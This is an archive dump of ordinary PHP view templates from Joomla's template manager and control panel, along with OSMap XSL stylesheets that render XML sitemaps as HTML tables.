 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('bootstrap.dropdown', '.dropdown-toggle');

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns');

$input = Factory::getApplication()->getInput();
?>

<?php if (count($this->updatedList) === 0) : ?>
    <div class="alert alert-success">
        <span class="icon-check-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('NOTICE'); ?></span>
        <?php echo Text::_('COM_TEMPLATES_OVERRIDE_UPTODATE'); ?>
    </div>
<?php else : ?>
    <div class="alert alert-info">
        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
        <?php echo Text::_('COM_TEMPLATES_OVERRIDE_NOT_UPTODATE'); ?>
    </div>
    <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="updateForm" id="updateForm">
        <div class="row mt-2">
            <div class="col-md-12">
                <table class="table">
                    <thead>
                        <tr>
                            <td class="w-5 text-center">
                                <?php echo HTMLHelper::_('grid.checkall'); ?>
                            </td>
                            <th scope="col" class="w-7">
                                <?php echo Text::_('COM_TEMPLATES_OVERRIDE_CHECKED'); ?>
                            </th>
                            <th scope="col" class="w-30">
                                <?php echo Text::_('COM_TEMPLATES_OVERRIDE_TEMPLATE_FILE'); ?>
                            </th>
                            <th scope="col">
                                <?php echo Text::_('COM_TEMPLATES_OVERRIDE_CREATED_DATE'); ?>
                            </th>
                            <th scope="col">
                                <?php echo Text::_('COM_TEMPLATES_OVERRIDE_MODIFIED_DATE'); ?>
                            </th>
                            <th scope="col">
                                <?php echo Text::_('COM_TEMPLATES_OVERRIDE_SOURCE'); ?>
                            </th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($this->updatedList as $i => $value) : ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $value->hash_id, false, 'cid', 'cb', '', 'updateForm'); ?>
                                </td>
                                <td>
                                    <?php echo HTMLHelper::_('jgrid.published', $value->state, $i, 'template.', 1, 'cb', null, null, 'updateForm'); ?>
                                </td>
                                <td>
                                    <a href="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . (int) $value->extension_id . '&file=' . $value->hash_id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?>"><?php echo base64_decode($value->hash_id); ?></a>
                                </td>
                                <td>
                                    <?php $created_date = $value->created_date; ?>
                                    <?php echo $created_date > 0 ? HTMLHelper::_('date', $created_date, Text::_('DATE_FORMAT_FILTER_DATETIME')) : '-'; ?>
                                </td>
                                <td>
                                    <?php if (is_null($value->modified_date)) : ?>
                                        <span class="badge bg-warning text-dark"><?php echo Text::_('COM_TEMPLATES_OVERRIDE_CORE_REMOVED'); ?></span>
                                    <?php else : ?>
                                        <?php echo HTMLHelper::_('date', $value->modified_date, Text::_('DATE_FORMAT_FILTER_DATETIME')); ?>
                                    <?php endif; ?>
                                </td>
                                <td>
                                    <span class="badge bg-info"><?php echo $value->action; ?></span>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </form>
<?php endif; ?>
template/default_modal_file_body.php000064400000014126151752357450013726 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Utility\Utility;

$input = Factory::getApplication()->getInput();
?>
<div id="#template-manager-file" class="container-fluid">
    <div class="mt-2 p-2">
        <div class="row">
            <div class="col-md-4">
                <div class="tree-holder">
                    <ul class="directory-tree treeselect root">
                        <li class="folder-select">
                            <a class="folder-url" data-id="" href="" data-base="template">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>
                                <?php echo ($this->template->client_id === 0 ? '/' : '/administrator/') . 'templates/' . $this->template->element; ?>
                            </a>
                            <?php echo $this->loadTemplate('folders'); ?>
                        </li>
                    </ul>
                    <?php if (count($this->mediaFiles)) : ?>
                        <ul class="directory-tree treeselect">
                            <li class="folder-select">
                                <a class="folder-url" data-id="" href="" data-base="media">
                                    <span class="icon-folder icon-fw" aria-hidden="true"></span>
                                    <?php echo '/media/templates/' . ($this->template->client_id === 0 ? 'site/' : 'administrator/') . $this->template->element; ?>
                                </a>
                                <?php echo $this->loadTemplate('media_folders'); ?>
                            </li>
                        </ul>
                    <?php endif; ?>
                </div>
            </div>
            <div class="col-md-8">
                <form method="post" action="<?php echo Route::_('index.php?option=com_templates&task=template.createFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" class="mb-4">
                    <div class="form-group">
                        <label for="file_name"><?php echo Text::_('COM_TEMPLATES_FILE_NAME'); ?></label>
                        <input type="text" name="name" id="file_name" class="form-control" required>
                    </div>
                    <div class="form-group">
                        <label for="type"><?php echo Text::_('COM_TEMPLATES_NEW_FILE_TYPE'); ?></label>
                        <select class="form-select" data-chosen="true" name="type" id="type" required>
                            <option value="">- <?php echo Text::_('COM_TEMPLATES_NEW_FILE_SELECT'); ?> -</option>
                            <option value="css">.css</option>
                            <option value="php">.php</option>
                            <option value="js">.js</option>
                            <option value="xml">.xml</option>
                            <option value="ini">.ini</option>
                            <option value="less">.less</option>
                            <option value="sass">.sass</option>
                            <option value="scss">.scss</option>
                            <option value="txt">.txt</option>
                        </select>
                    </div>
                    <input type="hidden" class="address" name="address">
                    <input type="hidden" name="isMedia" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                    <button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_CREATE'); ?></button>
                </form>
                <hr class="mb-4">
                <form method="post" action="<?php echo Route::_('index.php?option=com_templates&task=template.uploadFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" enctype="multipart/form-data" class="mb-4">
                    <input type="hidden" class="address" name="address">
                    <input type="hidden" name="isMedia" value="0">
                    <div class="input-group">
                        <input type="file" name="files" aria-labelledby="upload" class="form-control" required>
                        <?php echo HTMLHelper::_('form.token'); ?>
                        <button type="submit" class="btn btn-primary" id="upload"><?php echo Text::_('COM_TEMPLATES_BUTTON_UPLOAD'); ?></button>
                    </div>
                    <?php $cMax    = $this->state->get('params')->get('upload_limit'); ?>
                    <?php $maxSize = HTMLHelper::_('number.bytes', Utility::getMaxUploadSize($cMax . 'MB')); ?>
                    <span class="mt-2"><?php echo Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', '&#x200E;' . $maxSize); ?></span>
                </form>
                <?php if ($this->type != 'home') : ?>
                    <hr class="mb-4">
                    <form method="post" action="<?php echo Route::_('index.php?option=com_templates&task=template.copyFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" enctype="multipart/form-data" class="mb-4">
                        <div class="form-group">
                            <input type="hidden" class="address" name="address">
                            <input type="hidden" name="isMedia" value="0">
                            <label for="new_name">
                                <?php echo Text::_('COM_TEMPLATES_FILE_NEW_NAME_LABEL') ?>
                            </label>
                            <input class="form-control" type="text" id="new_name" name="new_name" required>
                            <?php echo HTMLHelper::_('form.token'); ?>
                        </div>
                        <button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_COPY_FILE'); ?></button>
                    </form>
                <?php endif; ?>
            </div>
        </div>
    </div>
</div>
styles/default.php000064400000024100151752357450010237 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$clientId = (int) $this->state->get('client_id', 0);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo Route::_('index.php?option=com_templates&view=styles'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['selectorFieldName' => 'client_id']]); ?>
                <?php if ($this->total > 0) : ?>
                    <table class="table" id="styleList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_TEMPLATES_STYLES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_TEMPLATES_HEADING_STYLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 text-center">
                                    <?php echo Text::_('COM_TEMPLATES_TEMPLATE_PREVIEW'); ?>
                                </th>
                                <th scope="col" class="w-12 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_TEMPLATES_HEADING_DEFAULT', 'a.home', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($clientId === 0) : ?>
                                    <th scope="col" class="w-12 d-none d-md-table-cell">
                                        <?php echo Text::_('COM_TEMPLATES_HEADING_PAGES'); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-12 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_TEMPLATES_HEADING_TEMPLATE', 'a.template', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($this->items as $i => $item) :
                                $canCreate = $user->authorise('core.create', 'com_templates');
                                $canEdit   = $user->authorise('core.edit', 'com_templates');
                                $canChange = $user->authorise('core.edit.state', 'com_templates');
                                ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                </td>
                                <th scope="row">
                                    <?php if ($canEdit) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_templates&task=style.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                            <?php echo $this->escape($item->title); ?></a>
                                    <?php else : ?>
                                        <?php echo $this->escape($item->title); ?>
                                    <?php endif; ?>
                                </th>
                                <td class="text-center">
                                    <?php if ($this->preview) : ?>
                                        <?php $client = (int) $item->client_id === 1 ? 'administrator' : 'site'; ?>
                                        <!-- external link icon generated by css -->
                                        <a href="<?php echo Route::link($client, 'index.php?tp=1&templateStyle=' . (int) $item->id); ?>" target="_blank" class="jgrid" aria-labelledby="preview-<?php echo (int) $item->id; ?>"></a>
                                        <div role="tooltip" id="preview-<?php echo (int) $item->id; ?>"><?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_NEW_PREVIEW', $item->title); ?></div>
                                    <?php else : ?>
                                        <span class="icon-eye-slash" aria-labelledby="nopreview-<?php echo (int) $item->id; ?>" aria-hidden="true"></span>
                                        <div role="tooltip" id="nopreview-<?php echo (int) $item->id; ?>"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW'); ?></div>
                                    <?php endif; ?>
                                </td>
                                <td class="text-center">
                                    <?php if ($item->home == '0' || $item->home == '1') : ?>
                                        <?php echo HTMLHelper::_('jgrid.isdefault', $item->home != '0', $i, 'styles.', $canChange && $item->home != '1'); ?>
                                    <?php elseif ($canChange) :?>
                                        <a href="<?php echo Route::_('index.php?option=com_templates&task=styles.unsetDefault&cid[]=' . $item->id . '&' . Session::getFormToken() . '=1'); ?>">
                                            <?php if ($item->image) : ?>
                                                <?php echo HTMLHelper::_('image', 'mod_languages/' . $item->image . '.gif', $item->language_title, ['title' => Text::sprintf('COM_TEMPLATES_GRID_UNSET_LANGUAGE', $item->language_title)], true); ?>
                                            <?php else : ?>
                                                <span class="badge bg-secondary" title="<?php echo Text::sprintf('COM_TEMPLATES_GRID_UNSET_LANGUAGE', $item->language_title); ?>"><?php echo $item->home; ?></span>
                                            <?php endif; ?>
                                        </a>
                                    <?php else : ?>
                                        <?php if ($item->image) : ?>
                                            <?php echo HTMLHelper::_('image', 'mod_languages/' . $item->image . '.gif', $item->language_title, ['title' => $item->language_title], true); ?>
                                        <?php else : ?>
                                            <span class="badge bg-secondary" title="<?php echo $item->language_title; ?>"><?php echo $item->home; ?></span>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                </td>
                                <?php if ($clientId === 0) : ?>
                                <td class="small d-none d-md-table-cell">
                                    <?php if ($item->home == '1') : ?>
                                        <?php echo Text::_('COM_TEMPLATES_STYLES_PAGES_ALL'); ?>
                                    <?php elseif ($item->home != '0' && $item->home != '1') : ?>
                                        <?php echo Text::sprintf('COM_TEMPLATES_STYLES_PAGES_ALL_LANGUAGE', $this->escape($item->language_title)); ?>
                                    <?php elseif ($item->assigned > 0) : ?>
                                        <?php echo Text::plural('COM_TEMPLATES_STYLES_PAGES_SELECTED', $this->escape($item->assigned)); ?>
                                    <?php else : ?>
                                        <?php echo Text::_('COM_TEMPLATES_STYLES_PAGES_NONE'); ?>
                                    <?php endif; ?>
                                </td>
                                <?php endif; ?>
                                <td class="small d-none d-md-table-cell">
                                    <a href="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . (int) $item->e_id); ?>">
                                        <?php echo ucfirst($this->escape($item->template)); ?>
                                    </a>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
styles/default.xml000064400000000320151752357450010246 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TEMPLATES_STYLE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TEMPLATES_STYLE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
cpanel/default.php000064400000005603151752534150010157 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_cpanel
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

Text::script('COM_CPANEL_UNPUBLISH_MODULE_SUCCESS');
Text::script('COM_CPANEL_UNPUBLISH_MODULE_ERROR');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_cpanel.admin-cpanel')
    ->useScript('com_cpanel.admin-addmodule');

$user = Factory::getUser();

// Set up the bootstrap modal that will be used for all module editors
echo HTMLHelper::_(
    'bootstrap.renderModal',
    'moduleDashboardAddModal',
    [
        'title'       => Text::_('COM_CPANEL_ADD_MODULE_MODAL_TITLE'),
        'backdrop'    => 'static',
        'url'         => Route::_('index.php?option=com_cpanel&task=addModule&function=jSelectModuleType&position=' . $this->escape($this->position)),
        'bodyHeight'  => '70',
        'modalWidth'  => '80',
        'footer'      => '<button type="button" class="button-cancel btn btn-danger" data-bs-dismiss="modal" data-bs-target="#closeBtn">'
            . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
            . '<button type="button" id="btnModalSaveAndClose" class="button-save btn btn-success hidden" data-bs-target="#saveBtn">'
            . Text::_('JSAVE') . '</button>',
    ]
);
?>
<div id="cpanel-modules">
    <div class="cpanel-modules <?php echo $this->position; ?>">
        <div class="card-columns">
        <?php if ($this->quickicons) :
            foreach ($this->quickicons as $iconmodule) {
                echo ModuleHelper::renderModule($iconmodule, ['style' => 'well']);
            }
        endif;
        foreach ($this->modules as $module) {
            echo ModuleHelper::renderModule($module, ['style' => 'well']);
        }
        ?>
        <?php if ($user->authorise('core.admin', 'com_modules') && $user->authorise('core.create', 'com_modules')) : ?>
            <div class="module-wrapper">
                <div class="card">
                    <button type="button" data-bs-toggle="modal" data-bs-target="#moduleDashboardAddModal" class="cpanel-add-module">
                        <div class="cpanel-add-module-icon">
                            <span class="icon-plus-square" aria-hidden="true"></span>
                        </div>
                        <span><?php echo Text::_('COM_CPANEL_ADD_DASHBOARD_MODULE'); ?></span>
                    </button>
                </div>
            </div>
        <?php endif; ?>
        </div>
    </div>
</div>
cpanel/default.xml000064400000000322151752534150010161 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CPANEL_CPANEL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CPANEL_CPANEL_VIEW_DEFAULT_TITLE_DESC]]>
		</message>
	</layout>
</metadata>
standard.php000060400000011133151754074340007062 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
    exclude-result-prefixes="xna">
    <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
    <xsl:template match="/">
        <html lang="<?php echo $this->language; ?>">
        <head>
            <title><?php echo $this->pageTitle; ?></title>
            <style>
                <![CDATA[
                body {
                    font-family: tahoma, sans-serif;
                    position: relative;
                }

                table {
                    font-size: 11px;
                    width: 100%;
                }

                th {
                    background: #9f8Fbf;
                    color: #fff;
                    text-align: left;
                    padding: 4px;
                }

                tr:nth-child(even) {
                    background: #eeF8ff;
                }

                td {
                    padding: 1px;
                }

                .data a {
                    text-decoration: none;
                }

                .icon-new-tab {
                    font-size: 10px;
                    margin-left: 4px;
                    color: #b5b5b5;
                }

                .count {
                    font-size: 12px;
                    margin-bottom: 10px;
                }
                ]]>
            </style>
        </head>
        <body>
        <div class="header">
            <div class="title">
                <?php if ($this->pageHeading) : ?>
                    <h1><?php echo Text::_($this->pageHeading); ?></h1>
                <?php endif; ?>
                <div class="count">
                    <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                    <xsl:value-of select="count(xna:urlset/xna:url)"/>
                </div>
            </div>
        </div>

        <table class="data">
            <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_MODIFICATION_DATE'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_CHANGE_FREQ'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_PRIORITY_LABEL'); ?></th>
            </tr>
            </thead>
            <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr>
                    <td>
                        <a href="{$sitemapURL}"
                           target="_blank">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                    </td>
                    <td>
                        <xsl:value-of select="xna:lastmod"/>
                    </td>
                    <td>
                        <xsl:value-of select="xna:changefreq"/>
                    </td>
                    <td>
                        <xsl:value-of select="xna:priority"/>
                    </td>
                </tr>
            </xsl:for-each>
            </tbody>
        </table>
        </body>
        </html>
    </xsl:template>
</xsl:stylesheet>
images.php000060400000011700151754074340006527 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
    exclude-result-prefixes="xna">

<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html lang="<?php echo $this->language; ?>">
<head>
<title><?php echo $this->pageTitle; ?></title>
<style>
    <![CDATA[
    body {
        font-family: tahoma, sans-serif;
        position: relative;
    }

    table {
        font-size: 11px;
        width: 100%;
    }

    th {
        background: #9f8Fbf;
        color: #fff;
        text-align: left;
        padding: 4px;
    }

    tr:nth-child(even) {
        background: #eeF8ff;
    }

    td {
        padding: 1px;
    }

    .data a {
        text-decoration: none;
    }

    .icon-new-tab {
        font-size: 10px;
        margin-left: 4px;
        color: #b5b5b5;
    }

    .count {
        font-size: 12px;
        margin-bottom: 10px;
    }

    tr.sitemap-url td {
        background: #e6e3ec;
        padding: 1px 2px;
        color: #b3b3b3;
    }

    tr.sitemap-url td a.url {
        color: #b3b3b3;
    }

    .image-url td {
       padding-left: 12px;
       position: relative;
    }
    ]]>
</style>
</head>
<body>
    <div class="header">
        <div class="title">
            <?php if ($this->pageHeading) : ?>
                <h1><?php echo Text::_($this->pageHeading); ?></h1>
            <?php endif; ?>
            <div class="count">
                <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                <xsl:value-of select="count(xna:urlset/xna:url)"/>
                (<xsl:value-of select="count(xna:urlset/xna:url/image:image/image:loc)"/>
                <?php echo Text::_('COM_OSMAP_IMAGES'); ?>)
            </div>
        </div>
    </div>

    <table class="data">
        <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th>
            </tr>
        </thead>
        <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr class="sitemap-url">
                    <td>
                        <a href="{$sitemapURL}" target="_blank" class="url">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                        (<xsl:value-of select="count(./image:image/image:loc)"/>
                        <?php echo Text::_('COM_OSMAP_IMAGES'); ?>)
                    </td>
                    <td>
                        <xsl:value-of select="./title"/>
                    </td>
                </tr>

                <xsl:for-each select="image:image">
                    <xsl:variable name="imageURL"><xsl:value-of select="image:loc"/></xsl:variable>
                    <tr class="image-url">
                        <td>
                            <a href="{$imageURL}"
                                target="_blank"
                                class="image-url">
                                <xsl:value-of select="$imageURL"/>
                            </a>
                            <span class="icon-new-tab"></span>
                        </td>
                        <td>
                            <xsl:value-of select="image:title"/>
                        </td>
                    </tr>
                </xsl:for-each>
            </xsl:for-each>
        </tbody>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
news.php000060400000010173151754074340006241 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"
    exclude-result-prefixes="xna">

<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html lang="<?php echo $this->language; ?>">
<head>
<title><?php echo $this->pageTitle; ?></title>
<style>
    <![CDATA[
    body {
        font-family: tahoma, sans-serif;
        position: relative;
    }

    table {
        font-size: 11px;
        width: 100%;
    }

    th {
        background: #9f8Fbf;
        color: #fff;
        text-align: left;
        padding: 4px;
    }

    tr:nth-child(even) {
        background: #eeF8ff;
    }

    td {
        padding: 1px;
    }

    .data a {
        text-decoration: none;
    }

    .icon-new-tab {
        font-size: 10px;
        margin-left: 4px;
        color: #b5b5b5;
    }

    .count {
        font-size: 12px;
        margin-bottom: 10px;
    }

    tr.sitemap-url td {
        background: #e6e3ec;
        padding: 1px 2px;
        color: #b3b3b3;
    }

    tr.sitemap-url td a.url {
        color: #b3b3b3;
    }

    .image-url td {
       padding-left: 12px;
       position: relative;
    }
    ]]>
</style>
</head>
<body>
    <div class="header">
        <div class="title">
            <?php if ($this->pageHeading) : ?>
                <h1><?php echo Text::_($this->pageHeading); ?></h1>
            <?php endif; ?>
            <div class="count">
                <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                <xsl:value-of select="count(xna:urlset/xna:url)"/>
            </div>
        </div>
    </div>

    <table class="data">
        <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_PUBLICATION_DATE'); ?></th>
            </tr>
        </thead>
        <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr>
                    <td>
                        <a href="{$sitemapURL}" target="_blank" class="url">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                    </td>
                    <td>
                        <xsl:value-of select="news:news/news:title" />
                    </td>
                    <td>
                        <xsl:value-of select="news:news/news:publication_date" />
                    </td>
                </tr>
            </xsl:for-each>
        </tbody>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
textarea.php000064400000000623151754775360007117 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Textarea
 *
